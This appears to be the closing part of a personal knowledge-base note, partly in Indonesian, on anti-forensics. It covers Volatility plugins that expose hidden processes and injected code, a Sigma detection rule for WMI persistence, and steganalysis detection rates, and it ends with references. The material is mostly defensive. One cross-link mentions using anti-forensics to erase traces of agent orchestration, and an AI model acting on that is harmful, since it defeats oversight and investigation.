ArtifactAnti-ForensicsVolatility Plugin
Hidden process (DKOM)Unlink EPROCESSpsscan (scan memory, not list)
Injected codeReflective DLLmalfind (find VAD anomalies)
Hollowed processProcess hollowinghollowfind
Rootkit hooksSSDT/IAT hookssdt, driverirp
Network connectionsHidden by rootkitnetscan (scan raw memory)

psscan vs pslist:

pslist: Walk ActiveProcessLinks (bisa di-DKOM)
psscan: Scan memory untuk signature EPROCESS (tahan DKOM)

9.2 Behavioral Detection — Sigma Rules

title: WMI Event Subscription Persistence
detection:
  selection:
    EventID: 19 # WMI Event
    QueryName|contains:
      - "CommandLineEventConsumer"
      - "ActiveScriptEventConsumer"
  condition: selection

9.3 Statistical Detection — Steganalysis

SPAM (Subtractive Pixel Adjacency Matrix):

P(i,j) = count of pixel pairs where (pixel - neighbor) = (i,j)

Dengan LSB matching, distribusi P(i,j) berubah secara karakteristik. Machine learning (SVM, CNN) bisa mendeteksi dengan akurasi 80-90%.

Tapi HILL adaptive:

P(stego detected | HILL + F5) ≈ 0.15 (15% detection rate)

10. References

  1. Fridrich, J., Goljan, M., & Du, R. (2001). “Detecting LSB Steganography in Color, and Gray-Scale Images.” IEEE Multimedia, 8(4), 22-28. — Foundational RS analysis.

  2. Fridrich, J., & Kodovský, J. (2012). “Rich Models for Steganalysis of Digital Images.” IEEE Transactions on Information Forensics and Security, 7(3), 868-882. — Rich model steganalysis.

  3. Holub, V., Fridrich, J., & Denemark, T. (2014). “Universal Distortion Function for Steganography in an Arbitrary Domain.” EURASIP Journal on Information Security, 2014(1). — HILL distortion function.

  4. Westfeld, A., & Pfitzmann, A. (2000). “Attacks on Steganographic Systems.” LNCS 1768, 61-76. — Chi-square attack.

  5. Gutmann, P. (1996). “Secure Deletion of Data from Magnetic and Solid-State Memory.” Proceedings of the 6th USENIX Security Symposium. — 35-pass overwrite.

  6. NIST. (2014). SP 800-88 Rev. 1: Guidelines for Media Sanitization. — Modern data destruction standards.

  7. Russinovich, M. E., Solomon, D. A., & Ionescu, A. (2012). Windows Internals, Part 1 (6th ed.). Microsoft Press. — $MFT, EPROCESS, DKOM.

  8. Silberman, P., & Cihula, A. (2007). “Uninformed: DKOM (Direct Kernel Object Manipulation).” Uninformed Journal, 6. — Process hiding via DKOM.

  9. Lehto, M. (2015). Cyber Security: Analytics, Technology and Automation. Springer. — Anti-forensics taxonomy.

  10. Harris, S. (2014). CISSP All-in-One Exam Guide (7th ed.). McGraw-Hill. — Anti-forensics and countermeasures overview.

  11. Casey, E. (2011). Digital Evidence and Computer Crime (3rd ed.). Academic Press. — Forensic timeline reconstruction.

  12. Dorigo, M., & Stützle, T. (2004). Ant Colony Optimization. MIT Press. — Referenced untuk framework optimasi (cross-domain).

Koneksi ke Vault

CatatanKoneksi
meta-agent-orchestrationACO routing untuk agent dispatch — anti-forensics bisa digunakan untuk menghilangkan jejak orchestration
endpoint-securityRing -3 sampai Ring 3 — anti-forensics beroperasi di semua ring
malware-analysis-reverse-engineering-playbookInversi langsung: bagaimana malware menghindari analisis
hardware-hacking-rePhysical destruction overlap dengan hardware hacking reverse
cryptography-biometricsSteganografi dan plausible deniability adalah aplikasi kriptografi
incident-response-frameworkIR harus aware akan teknik anti-forensics ini untuk tidak miss evidence

Tampilan Grafik

Tautan Balik